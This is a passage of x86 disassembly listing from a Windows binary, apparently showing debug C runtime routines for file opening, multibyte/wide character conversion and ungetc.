cmp dword ptr [ebp+18h], 0 jnz short loc_42E111 mov edx, ds:dword_4EEA80 mov [ebp+18h], edx loc_42E111: ; CODE XREF: seg000:0042E106j push 0 push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+20h] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+18h] push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp-20h], eax cmp dword ptr [ebp-20h], 0 jnz short loc_42E145 xor eax, eax jmp loc_42E1E8 ; --------------------------------------------------------------------------- loc_42E145: ; CODE XREF: seg000:0042E13Cj mov dword ptr [ebp-4], 0 mov eax, [ebp-20h] shl eax, 1 add eax, 3 and al, 0FCh call sub_41DEB0 mov [ebp-2Ch], esp mov [ebp-18h], esp mov ecx, [ebp-2Ch] mov [ebp-24h], ecx mov edx, [ebp-20h] shl edx, 1 push edx push 0 mov eax, [ebp-24h] push eax call sub_41D100 add esp, 0Ch mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_42E19B ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh loc_42E19B: ; CODE XREF: seg000:0042E182j cmp dword ptr [ebp-24h], 0 jnz short loc_42E1A5 xor eax, eax jmp short loc_42E1E8 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: seg000:0042E19Fj mov ecx, [ebp-20h] push ecx mov edx, [ebp-24h] push edx mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx push 1 mov edx, [ebp+18h] push edx call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_42E1CE xor eax, eax jmp short loc_42E1E8 ; --------------------------------------------------------------------------- loc_42E1CE: ; CODE XREF: seg000:0042E1C8j mov eax, [ebp+14h] push eax mov ecx, [ebp-28h] push ecx mov edx, [ebp-24h] push edx mov eax, [ebp+8] push eax call ds:dword_4F12CC ; GetStringTypeW jmp short loc_42E1E8 ; --------------------------------------------------------------------------- loc_42E1E6: ; CODE XREF: seg000:0042E0FCj xor eax, eax loc_42E1E8: ; CODE XREF: seg000:0042E140j ; seg000:0042E1A3j ... lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E200 proc near ; CODE XREF: sub_423E50+A1p ; sub_424A30+137p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42E207: ; CODE XREF: sub_42E200+2Fj cmp [ebp+arg_0], 0 jnz short loc_42E22B push offset dword_4394FC push 0 push 2Eh push offset dword_43A60C push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42E22B int 3 ; Trap to Debugger loc_42E22B: ; CODE XREF: sub_42E200+Bj ; sub_42E200+28j xor eax, eax test eax, eax jnz short loc_42E207 mov ecx, ds:dword_4EE9C8 add ecx, 1 mov ds:dword_4EE9C8, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset dword_43A60C push 2 push 1000h call sub_41AE60 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_42E286 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_42E2AB ; --------------------------------------------------------------------------- loc_42E286: ; CODE XREF: sub_42E200+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_42E2AB: ; CODE XREF: sub_42E200+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42E200 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42E310 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E310 proc near ; CODE XREF: sub_424520+2B0p ; seg000:0042E303p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_42E33D mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_42E348 ; --------------------------------------------------------------------------- loc_42E33D: ; CODE XREF: sub_42E310+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_42E348: ; CODE XREF: sub_42E310+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_42E381 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_42E36C mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_42E381 ; --------------------------------------------------------------------------- loc_42E36C: ; CODE XREF: sub_42E310+50j cmp ds:dword_4EECE4, 8000h jz short loc_42E381 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_42E381: ; CODE XREF: sub_42E310+43j ; sub_42E310+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_42E39E cmp [ebp+var_40], 1 jz short loc_42E3A7 cmp [ebp+var_40], 2 jz short loc_42E3B0 jmp short loc_42E3B9 ; --------------------------------------------------------------------------- loc_42E39E: ; CODE XREF: sub_42E310+7Ej mov [ebp+var_34], 80000000h jmp short loc_42E3D7 ; --------------------------------------------------------------------------- loc_42E3A7: ; CODE XREF: sub_42E310+84j mov [ebp+var_34], 40000000h jmp short loc_42E3D7 ; --------------------------------------------------------------------------- loc_42E3B0: ; CODE XREF: sub_42E310+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_42E3D7 ; --------------------------------------------------------------------------- loc_42E3B9: ; CODE XREF: sub_42E310+8Cj call sub_4267E0 mov dword ptr [eax], 16h call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E3D7: ; CODE XREF: sub_42E310+95j ; sub_42E310+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_42E422 mov eax, [ebp+var_44] xor edx, edx mov dl, ds:byte_42E832[eax] jmp ds:off_42E81E[edx*4] loc_42E3FE: ; DATA XREF: seg000:off_42E81Eo mov [ebp+var_8], 0 jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E407: ; CODE XREF: sub_42E310+E7j ; DATA XREF: seg000:0042E822o mov [ebp+var_8], 1 jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E410: ; CODE XREF: sub_42E310+E7j ; DATA XREF: seg000:0042E826o mov [ebp+var_8], 2 jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E419: ; CODE XREF: sub_42E310+E7j ; DATA XREF: seg000:0042E82Ao mov [ebp+var_8], 3 jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E422: ; CODE XREF: sub_42E310+DAj ; sub_42E310+E7j ; DATA XREF: ... call sub_4267E0 mov dword ptr [eax], 16h call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E440: ; CODE XREF: sub_42E310+F5j ; sub_42E310+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], ecx cmp [ebp+var_48], 400h jg short loc_42E48C cmp [ebp+var_48], 400h jz short loc_42E4A9 cmp [ebp+var_48], 200h jg short loc_42E481 cmp [ebp+var_48], 200h jz short loc_42E4C4 cmp [ebp+var_48], 0 jz short loc_42E4A9 cmp [ebp+var_48], 100h jz short loc_42E4B2 jmp short loc_42E4D6 ; --------------------------------------------------------------------------- loc_42E481: ; CODE XREF: sub_42E310+155j cmp [ebp+var_48], 300h jz short loc_42E4CD jmp short loc_42E4D6 ; --------------------------------------------------------------------------- loc_42E48C: ; CODE XREF: sub_42E310+143j cmp [ebp+var_48], 500h jz short loc_42E4BB cmp [ebp+var_48], 600h jz short loc_42E4C4 cmp [ebp+var_48], 700h jz short loc_42E4BB jmp short loc_42E4D6 ; --------------------------------------------------------------------------- loc_42E4A9: ; CODE XREF: sub_42E310+14Cj ; sub_42E310+164j mov [ebp+var_18], 3 jmp short loc_42E4F4 ; --------------------------------------------------------------------------- loc_42E4B2: ; CODE XREF: sub_42E310+16Dj mov [ebp+var_18], 4 jmp short loc_42E4F4 ; --------------------------------------------------------------------------- loc_42E4BB: ; CODE XREF: sub_42E310+183j ; sub_42E310+195j mov [ebp+var_18], 1 jmp short loc_42E4F4 ; --------------------------------------------------------------------------- loc_42E4C4: ; CODE XREF: sub_42E310+15Ej ; sub_42E310+18Cj mov [ebp+var_18], 5 jmp short loc_42E4F4 ; --------------------------------------------------------------------------- loc_42E4CD: ; CODE XREF: sub_42E310+178j mov [ebp+var_18], 2 jmp short loc_42E4F4 ; --------------------------------------------------------------------------- loc_42E4D6: ; CODE XREF: sub_42E310+16Fj ; sub_42E310+17Aj ... call sub_4267E0 mov dword ptr [eax], 16h call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E4F4: ; CODE XREF: sub_42E310+1A0j ; sub_42E310+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_42E545 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, ds:dword_4EE968 not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_42E545 mov [ebp+var_28], 1 loc_42E545: ; CODE XREF: sub_42E310+1F6j ; sub_42E310+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_42E567 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_42E567: ; CODE XREF: sub_42E310+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_42E57C mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_42E57C: ; CODE XREF: sub_42E310+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_42E593 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_42E5A9 ; --------------------------------------------------------------------------- loc_42E593: ; CODE XREF: sub_42E310+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_42E5A9 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_42E5A9: ; CODE XREF: sub_42E310+281j ; sub_42E310+28Bj call sub_42D680 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42E5D5 call sub_4267E0 mov dword ptr [eax], 18h call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E5D5: ; CODE XREF: sub_42E310+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F1380 ; CreateFileA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42E621 call ds:dword_4F1310 ; RtlGetLastWin32Error push eax call sub_426740 add esp, 4 mov eax, [ebp+var_14] push eax call sub_42DC20 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E621: ; CODE XREF: sub_42E310+2ECj mov ecx, [ebp+var_4] push ecx call near ptr 3D0000h xchg eax, ebx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42E661 mov edx, [ebp+var_4] push edx call ds:dword_4F12FC ; CloseHandle call ds:dword_4F1310 ; RtlGetLastWin32Error push eax call sub_426740 add esp, 4 mov eax, [ebp+var_14] push eax call sub_42DC20 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E661: ; CODE XREF: sub_42E310+322j cmp [ebp+var_C], 2 jnz short loc_42E672 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_42E681 ; --------------------------------------------------------------------------- loc_42E672: ; CODE XREF: sub_42E310+355j cmp [ebp+var_C], 3 jnz short loc_42E681 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_42E681: ; CODE XREF: sub_42E310+360j ; sub_42E310+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call loc_42D870 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_42E7BF movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_42E7BF mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_42E7BF push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_42B770 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42E731 call sub_4267F0 cmp dword ptr [eax], 83h jz short loc_42E72C mov edx, [ebp+var_14] push edx call sub_4214B0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_42DC20 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E72C: ; CODE XREF: sub_42E310+3FAj jmp loc_42E7BF ; --------------------------------------------------------------------------- loc_42E731: ; CODE XREF: sub_42E310+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_4240D0 add esp, 0Ch test eax, eax jnz short loc_42E789 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_42E789 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_432CF0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_42E789 mov eax, [ebp+var_14] push eax call sub_4214B0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_42DC20 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42E81A ; --------------------------------------------------------------------------- loc_42E789: ; CODE XREF: sub_42E310+439j ; sub_42E310+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_42B770 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42E7BF mov eax, [ebp+var_14] push eax call sub_4214B0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_42DC20 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42E81A ; --------------------------------------------------------------------------- loc_42E7BF: ; CODE XREF: sub_42E310+3B0j ; sub_42E310+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_42E80B mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_42E80B mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, ds:dword_4EED20[edx*4] mov [edx+eax+4], cl loc_42E80B: ; CODE XREF: sub_42E310+4B8j ; sub_42E310+4C2j mov eax, [ebp+var_14] push eax call sub_42DC20 add esp, 4 mov eax, [ebp+var_14] loc_42E81A: ; CODE XREF: sub_42E310+C2j ; sub_42E310+12Bj ... mov esp, ebp pop ebp retn sub_42E310 endp ; --------------------------------------------------------------------------- off_42E81E dd offset loc_42E3FE ; DATA XREF: sub_42E310+E7r dd offset loc_42E407 dd offset loc_42E410 dd offset loc_42E419 dd offset loc_42E422 byte_42E832 db 0 ; DATA XREF: sub_42E310+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E870 proc near ; CODE XREF: sub_424A30+127p ; sub_4269E0+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jb short loc_42E882 xor eax, eax jmp short loc_42E8A0 ; --------------------------------------------------------------------------- loc_42E882: ; CODE XREF: sub_42E870+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_42E8A0: ; CODE XREF: sub_42E870+10j pop ebp retn sub_42E870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E8B0 proc near ; CODE XREF: sub_424CB0+3CAp ; sub_424CB0+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_4EED14 call ds:dword_4F1428 ; InterlockedIncrement cmp ds:dword_4EED10, 0 jz short loc_42E8E8 push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement push 13h call sub_421A80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42E8EF ; --------------------------------------------------------------------------- loc_42E8E8: ; CODE XREF: sub_42E8B0+18j mov [ebp+var_4], 0 loc_42E8EF: ; CODE XREF: sub_42E8B0+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E930 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_42E915 push 13h call sub_421B20 add esp, 4 jmp short loc_42E920 ; --------------------------------------------------------------------------- loc_42E915: ; CODE XREF: sub_42E8B0+57j push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement loc_42E920: ; CODE XREF: sub_42E8B0+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42E8B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E930 proc near ; CODE XREF: sub_42E8B0+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_42E943 xor eax, eax jmp loc_42E9CC ; --------------------------------------------------------------------------- loc_42E943: ; CODE XREF: sub_42E930+Aj cmp ds:dword_4EEA70, 0 jnz short loc_42E97A mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_42E96B call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42E9CC ; --------------------------------------------------------------------------- loc_42E96B: ; CODE XREF: sub_42E930+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_42E9CC ; --------------------------------------------------------------------------- loc_42E97A: ; CODE XREF: sub_42E930+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, ds:dword_44FD20 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, ds:dword_4EEA80 push ecx call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42E9B9 cmp [ebp+var_8], 0 jz short loc_42E9C9 loc_42E9B9: ; CODE XREF: sub_42E930+81j call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42E9CC ; --------------------------------------------------------------------------- loc_42E9C9: ; CODE XREF: sub_42E930+87j mov eax, [ebp+var_4] loc_42E9CC: ; CODE XREF: sub_42E930+Ej ; sub_42E930+39j ... mov esp, ebp pop ebp retn sub_42E930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E9D0 proc near ; CODE XREF: sub_426BE0+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4EED14 call ds:dword_4F1428 ; InterlockedIncrement cmp ds:dword_4EED10, 0 jz short loc_42EA08 push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement push 13h call sub_421A80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42EA0F ; --------------------------------------------------------------------------- loc_42EA08: ; CODE XREF: sub_42E9D0+18j mov [ebp+var_4], 0 loc_42EA0F: ; CODE XREF: sub_42E9D0+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42EA50 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_42EA38 push 13h call sub_421B20 add esp, 4 jmp short loc_42EA43 ; --------------------------------------------------------------------------- loc_42EA38: ; CODE XREF: sub_42E9D0+5Aj push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement loc_42EA43: ; CODE XREF: sub_42E9D0+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42E9D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA50 proc near ; CODE XREF: sub_42E9D0+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_42EA56: ; CODE XREF: sub_42EA50+3Aj cmp ds:dword_44FD20, 1 jz short loc_42EA86 cmp ds:dword_44FD20, 2 jz short loc_42EA86 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset dword_43A618 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42EA86 int 3 ; Trap to Debugger loc_42EA86: ; CODE XREF: sub_42EA50+Dj ; sub_42EA50+16j ... xor eax, eax test eax, eax jnz short loc_42EA56 cmp [ebp+arg_4], 0 jz short loc_42EA98 cmp [ebp+arg_8], 0 jnz short loc_42EA9F loc_42EA98: ; CODE XREF: sub_42EA50+40j xor eax, eax jmp loc_42EBA9 ; --------------------------------------------------------------------------- loc_42EA9F: ; CODE XREF: sub_42EA50+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42EABE cmp [ebp+arg_0], 0 jz short loc_42EAB7 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_42EAB7: ; CODE XREF: sub_42EA50+5Dj xor eax, eax jmp loc_42EBA9 ; --------------------------------------------------------------------------- loc_42EABE: ; CODE XREF: sub_42EA50+57j cmp ds:dword_4EEA70, 0 jnz short loc_42EAE4 cmp [ebp+arg_0], 0 jz short loc_42EADA mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_42EADA: ; CODE XREF: sub_42EA50+7Bj mov eax, 1 jmp loc_42EBA9 ; --------------------------------------------------------------------------- loc_42EAE4: ; CODE XREF: sub_42EA50+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42EB6D cmp ds:dword_44FD20, 1 jle short loc_42EB40 mov edx, [ebp+arg_8] cmp edx, ds:dword_44FD20 jl short loc_42EB40 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, ds:dword_44FD20 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, ds:dword_4EEA80 push ecx call ds:dword_4F1370 ; MultiByteToWideChar test eax, eax jnz short loc_42EB66 loc_42EB40: ; CODE XREF: sub_42EA50+B7j ; sub_42EA50+C2j mov edx, [ebp+arg_8] cmp edx, ds:dword_44FD20 jb short loc_42EB56 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_42EB66 loc_42EB56: ; CODE XREF: sub_42EA50+F9j call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42EBA9 ; --------------------------------------------------------------------------- loc_42EB66: ; CODE XREF: sub_42EA50+EEj ; sub_42EA50+104j mov eax, ds:dword_44FD20 jmp short loc_42EBA9 ; --------------------------------------------------------------------------- loc_42EB6D: ; CODE XREF: sub_42EA50+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, ds:dword_4EEA80 push edx call ds:dword_4F1370 ; MultiByteToWideChar test eax, eax jnz short loc_42EBA4 call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42EBA9 ; --------------------------------------------------------------------------- loc_42EBA4: ; CODE XREF: sub_42EA50+142j mov eax, 1 loc_42EBA9: ; CODE XREF: sub_42EA50+4Aj ; sub_42EA50+69j ... pop edi pop esi pop ebx pop ebp retn sub_42EA50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42EBB0 proc near ; CODE XREF: sub_426BE0+9D7p ; sub_426BE0+A65p ... cmp cl, 40h jnb short loc_42EBCA cmp cl, 20h jnb short loc_42EBC0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_42EBC0: ; CODE XREF: sub_42EBB0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42EBCA: ; CODE XREF: sub_42EBB0+3j xor eax, eax xor edx, edx retn sub_42EBB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42EBD7: ; CODE XREF: seg000:0042EBFFj cmp dword ptr [ebp+0Ch], 0 jnz short loc_42EBFB push offset dword_4394EC push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42EBFB int 3 ; Trap to Debugger loc_42EBFB: ; CODE XREF: seg000:0042EBDBj ; seg000:0042EBF8j xor eax, eax test eax, eax jnz short loc_42EBD7 mov ecx, [ebp+0Ch] push ecx call sub_41F070 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42EC40 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_41F0E0 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EC40 proc near ; CODE XREF: sub_428080+11p ; seg000:0042EC15p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42EC47: ; CODE XREF: sub_42EC40+2Fj cmp [ebp+arg_4], 0 jnz short loc_42EC6B push offset dword_4394FC push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42EC6B int 3 ; Trap to Debugger loc_42EC6B: ; CODE XREF: sub_42EC40+Bj ; sub_42EC40+28j xor eax, eax test eax, eax jnz short loc_42EC47 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_42ECA7 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_42ECAF mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_42ECA7 mov eax, [ebp+var_4] 